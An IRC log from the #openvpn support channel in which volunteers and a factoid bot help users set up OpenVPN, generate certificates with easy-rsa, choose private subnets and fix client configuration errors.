10:13 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
10:13 <@krzee> Moonlightning, so double port forward, a vpn has nothing to do with NAT
10:13 < Moonlightning> And I'd have to muck around with different modems and modem|router combos…meh…
10:13 <@krzee> im not saying you cant use a vpn, im saying its purpose has NOTHING to do with NAT
10:13 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
10:13 < Moonlightning> Yeah but I like it better :3
10:14 <@krzee> great, but dont misinform users based on your goal
10:14 < Moonlightning> Fair enough.
10:14 < tech-four-nine> krzee: Moonlightning is running ssh thru vpn and considers that to be double NAT /:(
10:14 < Moonlightning> No, tech-four-nine…
10:14 < Beanie> sure, my circumstances are that I'm caring for my Mum over 100 miles away from where my server/old laptop is based, I need to be able to access it from the other city, it's a telco system so do you recommend my connection is secure and are there any limitations by going for an easier method in terms of me being able to work in the same way as if I was at home
10:14 < Moonlightning> My router does NAT, and my modem also does NAT even though I don't want it to >.<
10:15 <@krzee> you can put one of them in bridge mode, but that is outside the scope of this channel
10:15 < tech-four-nine> Moonlightning: set your modem up right then ...
10:15 < tech-four-nine> as krzee says ..
10:15 < Moonlightning> Beanie: if you have a static external IP, you don't need a VPN; you can use port forwarding.
10:15 <@krzee> lol
10:15 < Moonlightning> You CAN use a VPN, but you don't HAVE to.
10:15 <@krzee> your static ip AND your nat have nothing to do with a vpn
10:16 <@krzee> Beanie, dont listen to Moonlightning
10:16 < Moonlightning> actually, just what krzee said
10:16 < Beanie> whats the simplest way of sorting what I need out and where there's a decent online support network - it's a very steep learning curve and I've stupidly struggled so far but obviously i'm willing to put the work in with guidance :)
10:16 <@krzee> Beanie,
10:16 < Beanie> so in answer to that - Port Forwarding right?
10:16 <@krzee> !goal
10:16 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:17 < Beanie> Krzee - stated my goal above - my circumstances are...
10:17 <@krzee> and yes administrating a vpn is a steep learning curve if you lack the fundamentals of networking, as it is advanced networking
10:17 < Beanie> yeah quite - but i dont think I can port forward between two different internet connections right?
10:17 <@krzee> please continue just explaining your goal
10:18 < Beanie> and in any event, i'm wondering how I could keep it secure as the server wouldnt know what connections are genuine or not
10:18 < Beanie> OK :) I'm just going to reitterate what I'm looking to achieve (bit concerned about flooding though)
10:18 <@krzee> you never mentioned 2 internet connections before...
10:18 < Beanie> I mentioned before that I want to access a server over 100 miles away :)
10:19 <@krzee> haha
10:19 <@krzee> ok so the server has 1 internet connection then?
10:19 < tech-four-nine> ¦¬|]
10:19 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
10:19 < Beanie> the server is connected at home, I use other devices on that connection
10:19 <@krzee> and you simply want your client to make a secure connection to the server for administration?
10:19 < Beanie> in Coventry, I will be using any internet connection anywhere likely with a dynamic IP
10:19 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
10:20 < Beanie> Krzee exactly but also to make telephone calls through it when i'm logged in
10:20 <@krzee> ahh now you're adding to it
10:20 < Beanie> (softphone/VOIP Setup)
10:20 <@krzee> please finish adding to it before i start helping you
10:20 < tech-four-nine> Beanie: are you trying to be like E.T. and "phone home"
10:20 <@krzee> cause that last lil thing changed your goal
10:20 < Beanie> OK Sorry :) I'm going to try and concisely summarise in my next post
10:21 < tech-four-nine> good
10:21 <@krzee> oh hey wassup debbie
10:21 <@krzee> didnt recognize you down there :D
10:21 < tech-four-nine> lol
10:22 < tech-four-nine> ii was watching oblivion and could not resist the temtation
10:22 -!- tech-four-nine is now known as debbie10t
10:23 < Beanie> 1) My goal is to connect to my server in Manchester from Coventry (100 miles apart) so that I can access my command prompt on the server and so that I can route calls through it as the server runs asterisk, my laptop has a softphone on it 2) In terms of tech, I have a home internet connection where the server is based which is fibre optic DSL, it has a static external IP, it has an internal
10:23 < Beanie> IP address allocated to it, the internet connection remotely could be pretty much anything from an Iphone or a friends computer or my own laptop. Crucially, anything connecting to the server is likely to have a dynamic external IP
10:23 -!- mode/#openvpn [+o debbie10t] by ChanServ
10:23 -!- debbie10t is now known as WilamF
10:23 -!- spirit_ [~spirit@41.190.88.200] has joined #openvpn
10:24 < Beanie> the internal ip for my server is simply a home network setup
10:24 < spirit_> hello.....
10:24 -!- WilamF is now known as WilmaF
10:24 < spirit_> please i need help configuring a vpn i just bought
10:24 < spirit_> i bought a vpn from vpn makers
10:24 < Beanie> i sympathise with your plight Spirit :)
10:25 < spirit_> was that a wrong buy?
10:25 < spirit_> Beanie: they said they had an option for linux on the setup page
10:26 <@krzee> Beanie, ok no problem
10:26 < spirit_> or is there any other open vpn that I can connect to?
10:26 <@krzee> you just need a very simple vpn setup
10:26 < Beanie> Spirit: I'm a total newbie - there's some great people who will almost certainly do their best to help
10:26 <@krzee> and tell asterisk to listen on the vpn server ip as well
10:26 <@krzee> then you setup your softphone to use that vpn ip as a server
10:27 <@krzee> alternatively, you can give yourself access to the vpn server's LAN ip, and register to that ip
10:27 <@krzee> which may be better, since you will then be able to use the same softphone config at home and away
10:27 < Beanie> @krzee - so that will leave me being able to do everything I can at home
10:27 < Beanie> ?
10:27 <@krzee> note, when you connect from your friends iphone you may not get good voip performance, but that is outside the scope of openvpn, is just about voip and jitter and quality of mobile hotspots
10:28 < Beanie> (where the server is)
10:28 < spirit_> krzee: if you were talking to me, you lost me at the "you just need a very simple vpn setup"
10:28 <@krzee> spirit_, no i was not.
10:28 <@krzee> spirit_, for you i have this:
10:28 <@krzee> !provider
10:28 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
10:28 < Moonlightning> WilmaF, krzee, thank you. :)
10:28 <@krzee> yw =]
10:28 < Beanie> i'm just going to bullet point what you said as I'm a weird learner
10:29 <@krzee> Beanie,
10:29 < Beanie> on an A4 sheet :)
10:29 <@krzee> !sample
10:29 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
10:29 <@krzee> !pki
10:29 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server
10:29 <@vpnHelper> cert was signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
10:29 <@WilmaF> spirit_: wait for a quieter time .. we may be able to help but we may not.
10:30 <@krzee> use !sample #1, then use the manual to understand every option used in both configs, then use !pki #1 to make your certificates and replace the filenames in my sample configs with your real filenames
10:30 <@krzee> WilmaF, umm
10:30 <@krzee> !provider
10:30 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
10:31 <@WilmaF> krzee: maybe spirit_ has openvpn just doesnot know it yet as they were ripped off
10:31 <@krzee> Beanie, then when you can ping both sides of the vpn by their vpn ip addresses, we can talk about giving clients access to route to the server lan ip
10:31 < spirit_> WilmaF: thanks..... I know i can read english, but this seems to be a different isotope of the normal english language
10:31 <@krzee> WilmaF, doesnt matter, he needs support from his provider!
10:31 <@krzee> which we are not
10:32 <@WilmaF> krzee: daisycutter ;P
10:32 < spirit_> ok krzee: can you help me with a vpn connection?
10:32 <@WilmaF> ok ok
10:32 < spirit_> open source?
10:32 <@krzee> WilmaF, you are just going to waste his time and yours
10:32 <@krzee> spirit_, you have a server to run the vpn server on?
10:32 <@krzee> if so, read this:
10:32 <@krzee> !howto
10:32 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:44 < Beanie> @krzee - thanks for all of that, I can see you have gone to a lot of trouble to explain, for me, the next stage is to try and put this into an action plan! The first thing I had a lot of trouble with, and it seems to me the first stage is to get it installed on CentOS - When I followed the information on the website, I could not get the easyrsa side working and I'm not the best linux operator
10:44 < Beanie> so I was confused as to whether I had screwed anything up in terms of the version of Open VPN I possibly installed (although I'm not sure if that went through properly) and then the easy rsa side of things really confused me when there was an error with it
10:45 <@krzee> you may use easy-rsa in windows if you are more comfy there
10:45 <@krzee> the !pki link never said to use centos, it gives how to do it in windows too
10:45 <@krzee> !download
10:45 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of
10:45 <@vpnHelper> openvpn (only thing supported here) there is no separate download for client/server, it is the same install with different configs
10:45 <@krzee> !repo
10:45 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
10:48 -!- Beanie [Beanie@bgareth.plus.com] has quit [Ping timeout: 245 seconds]
10:51 -!- Beanie [Beanie@bgareth.plus.com] has joined #openvpn
10:52 < Beanie> hello Krzee - just got disconnected - here is the last thing I had from you: <@krzee> the !pki link never said to use centos, it gives how to do it in windows too
10:52 < Beanie> have you posted anything else after I got disconnected?
10:52 <@krzee> !download
10:52 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of
10:52 <@krzee> !repo
10:52 <@vpnHelper> openvpn (only thing supported here) there is no separate download for client/server, it is the same install with different configs
10:52 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
10:54 < Beanie> ok, i cant use a windows installer for the server side so I'm going to need to install on the CentOS server, does OpenVPN ship with EasyRSA on the repos?
10:54 < Beanie> i'm thinking of YUM?
10:55 <@krzee> !easy-rsa
10:55 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads
10:55 <@krzee> you can use easy-rsa in windows
10:55 <@krzee> like i said
10:55 <@krzee> since you said you are not comfortable in linux i would say do it where you're comfortable
10:55 <@krzee> !betos
10:55 <@krzee> !bestos
10:55 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
10:56 < Beanie> oh right, so although all the server action is in CentOS and im simply using my laptop client side which runs windows, I can use windows for any EasyRSA stuff I need to do?
10:56 < Beanie> and somehow port across what is generated?
10:56 <@krzee> !pki
10:56 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server
10:56 <@vpnHelper> cert was signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
10:56 <@krzee> see #2
10:57 <@krzee> the CA does not have to be on a vpn node, and best security would keep it offline all together
10:57 <@krzee> my CA is offline and uses shotgun security
10:57 <@krzee> !shotgun
10:57 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
10:57 < Beanie> I like shotgun a lot :-p
10:59 < Beanie> so, just in "correct" or "incorrect", (from what I understand the answer is correct), I don't actually need easy rsa installed on the server at all and it is simply a tool for generating the certs and keys which can be transferred across to the server separately
10:59 < acu> !sample
10:59 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
11:01 < Beanie> as for the cert authority: that is going to have to be on an accessible machine right or once it is set up is it simply encrypted into a file on the server
11:02 < Beanie> (i'm thinking the second is true)
11:02 < acu> Hello guys - some questions - do we need a user and group vpn in the server ? is that necessary - if yes is just a "normal" user adduser vpn (in linux - I use debian wheezy)
11:03 <@krzee> acu, you dont need a special user, you may make one if you like. how you make one depends on your distro and you should be asking how to use debian in #debian)
11:03 <@krzee> s/)//
11:04 <@krzee> Beanie, correct easy-rsa is only needed on the CA
11:04 < acu> krzee: thanks - just wanted to make sure - I have user nobody and group nogroup - I looked at your "sample"
11:04 <@krzee> nobody/nogroup is gine
11:04 <@krzee> fine*
11:04 < Beanie> Krzee - so the certificate authority does not exist as a machine in its own right, its simply used to set it up?
11:05 -!- lnb [~lnb@99.238.98.9] has quit [Read error: Connection reset by peer]
11:06 -!- master_o1_master [~master_of@p4FF248E0.dip0.t-ipconnect.de] has joined #openvpn
11:06 <@krzee> you will need to use the CA every time you wish to add users or add to the CRL
11:09 -!- master_of_master [~master_of@p4FF244EB.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
11:10 -!- mback2k_ is now known as mback2k
11:11 -!- mback2k is now known as mback2k_
11:11 < acu> another question - I see that you use for private network server entry 10.8.1.0  and subnet mask 255.255.255.0 - lets say if I have two networks - the HQ-LAN with 192.168.4.0 and RemoteLAN with 192.168.25.0 could I use for the OpenVPN server 192.168.50.0 ? Or best is to keep it 10... ? Now that I am typing I think is good to have it 10 - as it will be obvious different than LAN
11:12 < Beanie> @krzee -thanks for all of that guidance :)
11:13 < acu> Just want to make sure that my premises are right - Three private LAN realms - one of the HQ-LAN (with OpenVPN server) - one of OWN VPN server - and the third will be the RemoteLAN
11:14 <@krzee> acu, any uncommon rfc1918 subnet is fine
11:14 <@krzee> !1918
11:14 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
11:15 <@krzee> and yes, you are thinking about it correctly
11:15 <@krzee> !route
11:15 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the
11:15 <@vpnHelper> server or client
11:15 <@krzee> i recommend doing 1 lan at a time, so first:
11:15 <@krzee> !serverlan
11:15 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:15 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:16 <@krzee> then:
11:16 <@krzee> !clientlan
11:16 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
11:16 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
11:16 <@krzee> but definitely read !route a couple times
11:17 < acu> I like this one - takes from emotional burden to choose :) http://scarydevilmonastery.net/subnet.cgi
11:17 <@vpnHelper> Title: subnet suggestor (at scarydevilmonastery.net)
11:19 <@krzee> echo "10.$(($RANDOM%255)).$(($RANDOM%255)).0/24"
11:19 <@krzee> theres a bash shell version v=of it for ya ;]
11:23 <@krzee> [13:22]  <krzee> # echo "10.$(($RANDOM%255)).$(($RANDOM%255)).0/24"
11:23 <@krzee> [13:22]  <shbot> krzee: 10.35.87.0/24
11:23 <@krzee> :D
11:28 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:46 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
11:48 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has left #openvpn []
11:48 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
11:49 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
11:50 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
11:54 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
11:55 -!- rhagu1 [~Johannes@dslb-088-065-056-149.pools.arcor-ip.net] has left #openvpn []
11:58 -!- nofks [~nofks@cpe-198.144.156.144.ca.yorkinet.com] has joined #openvpn
12:01 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:03 < Beanie> hello guys - not specifically on topic but how do I reset my identify password on here please :)
12:03 < Beanie> lost it
12:04 < nofks> http://freenode.net/faq.shtml
12:04 <@vpnHelper> Title: freenode: frequently-asked questions (at freenode.net)
12:05 <+pekster> You probably need to ask freenode staff for assistance; next time put your password into a password manager program like Keepass or PasswordSave
12:05 <+pekster> PasswordSafe*
12:09 <+pekster> Beanie: Oh, see `/msg nickserv help regain`
12:09 <+pekster> If you have your old email, that should do what you want
12:10 <+pekster> Oh, ignore that
12:29 -!- nick4 [~nick4@213.16.209.101.dsl.dyn.forthnet.gr] has quit [Ping timeout: 272 seconds]
12:39 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 264 seconds]
12:42 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
12:48 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
12:49 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Remote host closed the connection]
12:52 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
12:57 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
12:59 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
12:59 -!- Ziber [~Liber@liber.in] has quit [Ping timeout: 240 seconds]
13:00 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 240 seconds]
13:01 -!- michaelhart_ [~michaelha@192-0-240-20.cpe.teksavvy.com] has joined #openvpn
13:01 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
13:01 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
13:01 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-blbbrqapmzjwgmze] has quit [Ping timeout: 240 seconds]
13:02 -!- crus` [~crusader@2001:44b8:319e:2900:14fb:7c64:7dba:87bc] has joined #openvpn
13:02 -!- Cultist [~Grand_Mew@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
13:02 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
13:02 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-ioxnrpkkrjpsyfqk] has joined #openvpn
13:02 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
13:03 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Ping timeout: 240 seconds]
13:03 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 245 seconds]
13:03 -!- michaelhart_ is now known as michaelhart
13:03 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
13:03 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
13:03 -!- Cultist [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
13:03 -!- crus [~crusader@2001:44b8:319e:2900:14fb:7c64:7dba:87bc] has quit [Ping timeout: 240 seconds]
13:06 -!- Ziber [~Liber@liber.in] has joined #openvpn
13:08 -!- michaelhart [~michaelha@192-0-240-20.cpe.teksavvy.com] has quit [Quit: michaelhart]
13:10 -!- nofks_ [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
13:11 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
13:12 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
13:13 -!- nofks [~nofks@cpe-198.144.156.144.ca.yorkinet.com] has quit [Ping timeout: 245 seconds]
13:19 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
13:19 -!- s7r_f [~s7r@openvpn/user/s7r] has joined #openvpn
13:20 -!- mode/#openvpn [+v s7r_f] by ChanServ
13:21 < Beanie> thanks Pekster :)
13:22 -!- Beanie [Beanie@bgareth.plus.com] has quit []
13:22 -!- Beanie [Beanie@bgareth.plus.com] has joined #openvpn
13:40 -!- s7r_f is now known as s7r
14:06 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:06 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has joined #openvpn
14:06 < Tirili> Hi
14:07 < Tirili> I'd like to start an openvpn tun connection being the client, but after entering openvpn client.conf only a new line appears in bash.
14:07 < Tirili> What am I doing wrong?
14:09 < Tirili> verbosity is set to verb = 3
14:09 <+pekster> Crystal ball says the "few lines" might be important
14:09 <+pekster> !crystal
14:09 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
14:10 < Tirili> pekster: Are you talking to me?
14:10 <+pekster> Indeed.
14:11 -!- acu [~acu@107.128.131.129] has quit [Quit: Leaving]
14:11 < Tirili> Ok, more infos:
14:12 < Tirili> I want my laptop to connect to my raspberry pi openvpn tun server. It worked once, but after reinstalling linux on my laptop I have to recreate the client.conf file, because I was dumb and didn't save it before formating.
14:13 < Tirili> The freshly installed linux on the laptop is slackware64 14.1 and I am using this client.conf file:
14:15 < Tirili> http://dpaste.com/1469479/
14:18 < Tirili> And my problem is: When I try to connect entering "cd /etc/openvpn && openvpn client.conf" on the client, only a new line appears in the command line. No infos at all.
14:19 < Tirili> I am not a native English speaker.
14:25 <+pekster> We're going to need the log output to give you any proper help
14:26 <+pekster> Line 49 of that paste is sending log output to a file
14:26 <+pekster> That's where your log output is. More info for you at !logfile
14:27 <+pekster> If you wanted logs sent to the terminal instead, don't use the --log directive
14:29 -!- AginLap [~AginLap@82.116.81.249] has quit [Quit: Leaving]
14:29 < Tirili> That file is full of:
14:29 < Tirili> Options error: --ifconfig-pool/--ifconfig-pool-persist requires --mode server
14:29 < Tirili> Use --help for more information.
14:29 < Tirili> Let me see
14:30 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
14:31 <+pekster> You cannot use `ifconfig-pool-persist` as a client
14:31 <+pekster> That si a server-only option
14:31 < Tirili> ok
14:31 < Tirili> Now:
14:31 < Tirili> Options error: specify only one of --tls-server, --tls-client, or --secret
14:31 < Tirili> Use --help for more information.
14:32 <+pekster> --secret is bogus
14:32 <+pekster> --secret is for symmetric keyed crypto on a p2p mode. If you use tls (which --client is doing) you need --ca --key and --cert instead
14:33 <+pekster> You need _one_ or the other, not both
14:33 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:36 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
14:38 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has quit [Ping timeout: 245 seconds]
14:39 -!- Tirili [~chatzilla@dslc-082-083-129-062.pools.arcor-ip.net] has joined #openvpn
14:40 -!- nofks_ [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Remote host closed the connection]
14:46 -!- Tirili [~chatzilla@dslc-082-083-129-062.pools.arcor-ip.net] has quit [Read error: Connection reset by peer]
14:57 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
14:59 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
15:02 < Beanie> i somehow managed to install the wrong version of easy rsa on my CentOS box, anybody know a command to get rid of the "dodgy" easyrsa stuff i downloaded - not sure how to bring it up in a list and delete it
15:02 < Beanie> it was a couple of months ago
15:03 <+pekster> The current official release of Easy-RSA (v2) can be downloaded from the tagged github checkout, or optionally as a zip from them
15:03 <+pekster> Otherwise there might be downstream packages in your distro repos, although CentOS (RHEL) is known for being rather out of date
15:03 < Beanie> is it expensive?
15:04 <+pekster> https://github.com/OpenVPN/easy-rsa/releases
15:04 <@vpnHelper> Title: Releases · OpenVPN/easy-rsa · GitHub (at github.com)
15:04 <+pekster> "expensive" ?
15:04 < Beanie> oh checkout was mentioned
15:04 <+pekster> Sure, you can check out the git source code at that project (you probably want the release/2.x branch if that's what you're doing, or a named tag) or just use the pre-packaged tarball
15:05 < Beanie> just whatever is straight forward, for me, this is a really difficult task
15:05 < Beanie> any reason you can think of for the easy rsa not working
15:05 < Beanie> couldnt find a file if i remember correctly
15:05 <+pekster> 1) download tar.gz 2) optionally verify the gpg sig 3) extract it to a location of your choosing (ideally not as root -- easyrsa doesn't require root and you shouldn't run it as such.) 4) run the required scripts
15:06 <+pekster> Pretty simple really. The !howto has info for you
15:06 <+pekster> Follow the PKI section
15:06 < Beanie> whats the easiest way of getting the latest open vpn installed?
15:08 <+pekster> On CentOS? See the ML for the recently re-done repo links or build from source
15:09 <+pekster> CentOS (via RHEL) has ancient stuff
15:09 < Beanie> what is ml?
15:09 <+pekster> mailing lists
15:09 < Beanie> oh crikey, i havent got a clue where to start :)
15:09 <+pekster> There we old repos, but IIRC they're dead now:
15:09 <+pekster> !repo
15:09 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
15:09 <+pekster> Google?
15:09 <+pekster> https://lmddgtfy.net/?q=openvpn%20mailing%20list
15:09 <@vpnHelper> Title: Let Me DuckDuckGo That For You (at lmddgtfy.net)
15:10 < Beanie> hasnt been updated since february 2008
15:10 < Beanie> the mailing list on open vpn
15:10 <+pekster> Then you're in the wrong place
15:10 <+pekster> The latest message was sent today
15:11 <+pekster> Try the gmane archive
15:11 <+pekster> Or the sf.net page where the ML actually is
15:11 <+pekster> http://news.gmane.org/gmane.network.openvpn.user
15:11 <@vpnHelper> Title: Gmane Loom (at news.gmane.org)
15:12 <+pekster> http://article.gmane.org/gmane.network.openvpn.user/34497
15:12 <@vpnHelper> Title: Gmane -- New apt repositories with wider OS support (at article.gmane.org)
15:13 <+pekster> Apologies on the 2008-stuff in that URL; that's the corporate team doing a crappy job by failing to maintain or care one bit about the open-source products
15:13 <+pekster> It's a known issue we're working to fix since corporate doesn't really care about the GPL face of the product much anymore
15:14 < Beanie> ah its ok don't worry - just trying to get my head round it all :)
15:14 < Beanie> well article.gname.org simply has "nobody here but us chickens"... lol
15:15 < Beanie> i dont want to use yum because i bet the version wont be up to date
15:15 <+pekster>  Favicon
15:15 <+pekster> From: Samuli Seppänen <samuli <at> openvpn.net>
15:15 <+pekster> Subject: New apt repositories with wider OS support
15:15 <+pekster> That's what you get at the URL I just pasted
15:15 <+pekster> If you don't, you apparently typed in the wrong URL
15:16 <+pekster> (I know I gave you the right URL as vpnHelper spat out the right <title> text)
15:16 < Beanie> got it - but the oscodename for redhat/CentOS isnt listed
15:16 <+pekster> Oh, apt-only, yea
15:16 < Beanie> yeah i took the link from there for the article.gmane.org which gives you a joke
15:17 <+pekster> You might consider building from source
15:17 < Beanie> omg - well beyond my capability :)
15:17 <+pekster> Oh, or rpmforge perhaps
15:17 < Beanie> this is more tricky than it looks - simply to install it??
15:17 <+pekster> That's the de-facto RHEL (& clones) 3rd party repo
15:17 <+pekster> You're the one that is using a distro that is "stable" by being years out of date
15:17 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has joined #openvpn
15:18 <+pekster> If you actually wanted to use more recent software you should learn how to use your OS/distro and the 3rd party repos the community provides
15:18 < Beanie> well i could go over to CentOS room but i know that i had problems installing the wrong one last time (i suspect thats why i had problems with easyrsa
15:19 < Beanie> well centos is shipped with asterisk - it was just default - i was hardly experienced enough to pick and choose between flavours
15:19 <+pekster> As of 2.3.0 easyrsa isn't part of the openvpn package; easyrsa doesn't require "installing", just untar it and call the scripts
15:19 <+pekster> OpenVPN doesn't care at all what distro you use; if you need help with $distro, then ask your distro's support for help
15:19 < Beanie> pekster - there was a command needed to tell one of the systems where the other was and it said it couldnt find the file
15:19 < Beanie> im sure it was to do with easy rsa
15:20 <+pekster> I have no clue what that means
15:20 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
15:20 <+pekster> "You have some obscure problem that you neither remember nor can describe" is very unhelpful
15:20 <+pekster> !crystal
15:20 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
15:20 <@WilmaF> openssl.cnf perhaps ?
15:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:21 < Beanie> damn - i thought you dudes could program a mirrorball to kick in immediately - after all windows never stops giving a reflection ;-)
15:21 < Beanie> ugggh im coughing up tarballs
